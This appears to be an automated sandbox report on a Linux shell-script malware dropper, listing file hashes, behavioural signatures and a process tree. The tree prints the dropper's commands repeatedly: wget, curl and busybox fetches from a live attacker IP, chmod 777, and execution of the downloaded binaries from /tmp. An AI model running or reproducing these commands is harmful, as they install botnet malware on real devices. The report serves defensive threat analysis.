Analysis

  • max time kernel
    36s
  • max time network
    59s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/10/2024, 01:46

General

  • Target

    583c9b647fbd1a7e1f6224f3df723a38dd970f41c31d9b37b9c69e4df5253bfd.sh

  • Size

    10KB

  • MD5

    623a04ed6371ab83886a40967de1807f

  • SHA1

    b79de760571570719713803daace9ef35a7fb281

  • SHA256

    583c9b647fbd1a7e1f6224f3df723a38dd970f41c31d9b37b9c69e4df5253bfd

  • SHA512

    61c24d3ee1967f32bd51fdec5f23d5051a34d3c74a730cdbdb26d21e8add0ecd14055f5d237b316217733f5601bf5c93683212c4bf286f41e79e746aedb993fa

  • SSDEEP

    96:JOZ51uhxcMJFckKObcQrE00J9aIK5DNqZ51uhxcYu9JF76k+PXMcQrE00N:JOZ51uhxXJOkKOmJou51uhxUdUXN

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Checks CPU configuration 1 TTPs 11 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 22 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/583c9b647fbd1a7e1f6224f3df723a38dd970f41c31d9b37b9c69e4df5253bfd.sh
    /tmp/583c9b647fbd1a7e1f6224f3df723a38dd970f41c31d9b37b9c69e4df5253bfd.sh
    1⤵
      PID:657
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://87.120.84.230/bins/hhc7BkFLcnThZrYbertSK39KK7OVusPoHl
          2⤵
            PID:665
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/hhc7BkFLcnThZrYbertSK39KK7OVusPoHl
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:673
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/hhc7BkFLcnThZrYbertSK39KK7OVusPoHl
            2⤵
              PID:684
            • /bin/chmod
              chmod 777 hhc7BkFLcnThZrYbertSK39KK7OVusPoHl
              2⤵
              • File and Directory Permissions Modification
              PID:687
            • /tmp/hhc7BkFLcnThZrYbertSK39KK7OVusPoHl
              ./hhc7BkFLcnThZrYbertSK39KK7OVusPoHl
              2⤵
              • Executes dropped EXE
              PID:689
            • /bin/rm
              rm hhc7BkFLcnThZrYbertSK39KK7OVusPoHl
              2⤵
                PID:690
              • /usr/bin/wget
                wget http://87.120.84.230/bins/tFTCt6lZ18v65nyqAZPLpioGc9uDrTvDwk
                2⤵
                  PID:692
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/tFTCt6lZ18v65nyqAZPLpioGc9uDrTvDwk
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:694
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/tFTCt6lZ18v65nyqAZPLpioGc9uDrTvDwk
                  2⤵
                    PID:696
                  • /bin/chmod
                    chmod 777 tFTCt6lZ18v65nyqAZPLpioGc9uDrTvDwk
                    2⤵
                    • File and Directory Permissions Modification
                    PID:697
                  • /tmp/tFTCt6lZ18v65nyqAZPLpioGc9uDrTvDwk
                    ./tFTCt6lZ18v65nyqAZPLpioGc9uDrTvDwk
                    2⤵
                    • Executes dropped EXE
                    PID:698
                  • /bin/rm
                    rm tFTCt6lZ18v65nyqAZPLpioGc9uDrTvDwk
                    2⤵
                      PID:699
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/0G3VhZwFwsJsdYq8F5O4O2QOjZMFdYftlA
                      2⤵
                        PID:700
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/0G3VhZwFwsJsdYq8F5O4O2QOjZMFdYftlA
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:703
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/0G3VhZwFwsJsdYq8F5O4O2QOjZMFdYftlA
                        2⤵
                          PID:708
                        • /bin/chmod
                          chmod 777 0G3VhZwFwsJsdYq8F5O4O2QOjZMFdYftlA
                          2⤵
                          • File and Directory Permissions Modification
                          PID:716
                        • /tmp/0G3VhZwFwsJsdYq8F5O4O2QOjZMFdYftlA
                          ./0G3VhZwFwsJsdYq8F5O4O2QOjZMFdYftlA
                          2⤵
                          • Executes dropped EXE
                          PID:717
                        • /bin/rm
                          rm 0G3VhZwFwsJsdYq8F5O4O2QOjZMFdYftlA
                          2⤵
                            PID:719
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/ZpWyOHyEj7Ae94lmJdr2lWlEmFM2jfLb8p
                            2⤵
                              PID:720
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/ZpWyOHyEj7Ae94lmJdr2lWlEmFM2jfLb8p
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:723
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/ZpWyOHyEj7Ae94lmJdr2lWlEmFM2jfLb8p
                              2⤵
                                PID:727
                              • /bin/chmod
                                chmod 777 ZpWyOHyEj7Ae94lmJdr2lWlEmFM2jfLb8p
                                2⤵
                                • File and Directory Permissions Modification
                                PID:730
                              • /tmp/ZpWyOHyEj7Ae94lmJdr2lWlEmFM2jfLb8p
                                ./ZpWyOHyEj7Ae94lmJdr2lWlEmFM2jfLb8p
                                2⤵
                                • Executes dropped EXE
                                PID:731
                              • /bin/rm
                                rm ZpWyOHyEj7Ae94lmJdr2lWlEmFM2jfLb8p
                                2⤵
                                  PID:732
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/EeRtQKQmlEcbzh9MuxYaKuXdEM7jV8odt1
                                  2⤵
                                    PID:734
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/EeRtQKQmlEcbzh9MuxYaKuXdEM7jV8odt1
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:737
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/EeRtQKQmlEcbzh9MuxYaKuXdEM7jV8odt1
                                    2⤵
                                      PID:742
                                    • /bin/chmod
                                      chmod 777 EeRtQKQmlEcbzh9MuxYaKuXdEM7jV8odt1
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:746
                                    • /tmp/EeRtQKQmlEcbzh9MuxYaKuXdEM7jV8odt1
                                      ./EeRtQKQmlEcbzh9MuxYaKuXdEM7jV8odt1
                                      2⤵
                                      • Executes dropped EXE
                                      PID:749
                                    • /bin/rm
                                      rm EeRtQKQmlEcbzh9MuxYaKuXdEM7jV8odt1
                                      2⤵
                                        PID:751
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/wFrASh83dt0yAwoJITjsVVuRF0OkRS1z4k
                                        2⤵
                                          PID:752
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/wFrASh83dt0yAwoJITjsVVuRF0OkRS1z4k
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:757
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/wFrASh83dt0yAwoJITjsVVuRF0OkRS1z4k
                                          2⤵
                                            PID:762
                                          • /bin/chmod
                                            chmod 777 wFrASh83dt0yAwoJITjsVVuRF0OkRS1z4k
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:764
                                          • /tmp/wFrASh83dt0yAwoJITjsVVuRF0OkRS1z4k
                                            ./wFrASh83dt0yAwoJITjsVVuRF0OkRS1z4k
                                            2⤵
                                            • Executes dropped EXE
                                            PID:766
                                          • /bin/rm
                                            rm wFrASh83dt0yAwoJITjsVVuRF0OkRS1z4k
                                            2⤵
                                              PID:768
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/kmdn50usaxiCeAMRSrvq1to0FmS6D67ADW
                                              2⤵
                                                PID:769
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/kmdn50usaxiCeAMRSrvq1to0FmS6D67ADW
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:771
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/kmdn50usaxiCeAMRSrvq1to0FmS6D67ADW
                                                2⤵
                                                  PID:773
                                                • /bin/chmod
                                                  chmod 777 kmdn50usaxiCeAMRSrvq1to0FmS6D67ADW
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:774
                                                • /tmp/kmdn50usaxiCeAMRSrvq1to0FmS6D67ADW
                                                  ./kmdn50usaxiCeAMRSrvq1to0FmS6D67ADW
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:775
                                                • /bin/rm
                                                  rm kmdn50usaxiCeAMRSrvq1to0FmS6D67ADW
                                                  2⤵
                                                    PID:776
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/03RqqZgd5SZIoaitQ6C0XuPRJBpaBgCRZY
                                                    2⤵
                                                      PID:777
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/03RqqZgd5SZIoaitQ6C0XuPRJBpaBgCRZY
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:778
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/03RqqZgd5SZIoaitQ6C0XuPRJBpaBgCRZY
                                                      2⤵
                                                        PID:779
                                                      • /bin/chmod
                                                        chmod 777 03RqqZgd5SZIoaitQ6C0XuPRJBpaBgCRZY
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:786
                                                      • /tmp/03RqqZgd5SZIoaitQ6C0XuPRJBpaBgCRZY
                                                        ./03RqqZgd5SZIoaitQ6C0XuPRJBpaBgCRZY
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:787
                                                      • /bin/rm
                                                        rm 03RqqZgd5SZIoaitQ6C0XuPRJBpaBgCRZY
                                                        2⤵
                                                          PID:788
                                                        • /usr/bin/wget
                                                          wget http://87.120.84.230/bins/XEonpRLiGIQSXp4nLlgJJNkA9M7WqlnsKv
                                                          2⤵
                                                            PID:789
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.84.230/bins/XEonpRLiGIQSXp4nLlgJJNkA9M7WqlnsKv
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:793
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.84.230/bins/XEonpRLiGIQSXp4nLlgJJNkA9M7WqlnsKv
                                                            2⤵
                                                              PID:801
                                                            • /bin/chmod
                                                              chmod 777 XEonpRLiGIQSXp4nLlgJJNkA9M7WqlnsKv
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:803
                                                            • /tmp/XEonpRLiGIQSXp4nLlgJJNkA9M7WqlnsKv
                                                              ./XEonpRLiGIQSXp4nLlgJJNkA9M7WqlnsKv
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:805
                                                            • /bin/rm
                                                              rm XEonpRLiGIQSXp4nLlgJJNkA9M7WqlnsKv
                                                              2⤵
                                                                PID:806
                                                              • /usr/bin/wget
                                                                wget http://87.120.84.230/bins/tz5NUCGkQAskgJ4JmH7mlixD7HbatJRqDx
                                                                2⤵
                                                                  PID:808
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.84.230/bins/tz5NUCGkQAskgJ4JmH7mlixD7HbatJRqDx
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:814
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.84.230/bins/tz5NUCGkQAskgJ4JmH7mlixD7HbatJRqDx
                                                                  2⤵
                                                                    PID:818
                                                                  • /bin/chmod
                                                                    chmod 777 tz5NUCGkQAskgJ4JmH7mlixD7HbatJRqDx
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:821
                                                                  • /tmp/tz5NUCGkQAskgJ4JmH7mlixD7HbatJRqDx
                                                                    ./tz5NUCGkQAskgJ4JmH7mlixD7HbatJRqDx
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:822
                                                                  • /bin/rm
                                                                    rm tz5NUCGkQAskgJ4JmH7mlixD7HbatJRqDx
                                                                    2⤵
                                                                      PID:823
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.84.230/bins/R0jDVWqjRSi8MqBxHxO1sXLaRgCUxpu2qt
                                                                      2⤵
                                                                        PID:824
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.84.230/bins/R0jDVWqjRSi8MqBxHxO1sXLaRgCUxpu2qt
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:831
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.84.230/bins/R0jDVWqjRSi8MqBxHxO1sXLaRgCUxpu2qt
                                                                        2⤵
                                                                          PID:832
                                                                        • /bin/chmod
                                                                          chmod 777 R0jDVWqjRSi8MqBxHxO1sXLaRgCUxpu2qt
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:833
                                                                        • /tmp/R0jDVWqjRSi8MqBxHxO1sXLaRgCUxpu2qt
                                                                          ./R0jDVWqjRSi8MqBxHxO1sXLaRgCUxpu2qt
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:834
                                                                        • /bin/rm
                                                                          rm R0jDVWqjRSi8MqBxHxO1sXLaRgCUxpu2qt
                                                                          2⤵
                                                                            PID:835
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.84.230/bins/fOyZSHBVPERsGL2cQAiuA0fmQm82eXgpgq
                                                                            2⤵
                                                                              PID:836

                                                                          Network

                                                                                MITRE ATT&CK Enterprise v15

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                • /tmp/hhc7BkFLcnThZrYbertSK39KK7OVusPoHl

                                                                                  Filesize

                                                                                  153B

                                                                                  MD5

                                                                                  998368d7c95ea4293237f2320546e440

                                                                                  SHA1

                                                                                  30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                                  SHA256

                                                                                  533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                                  SHA512

                                                                                  648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97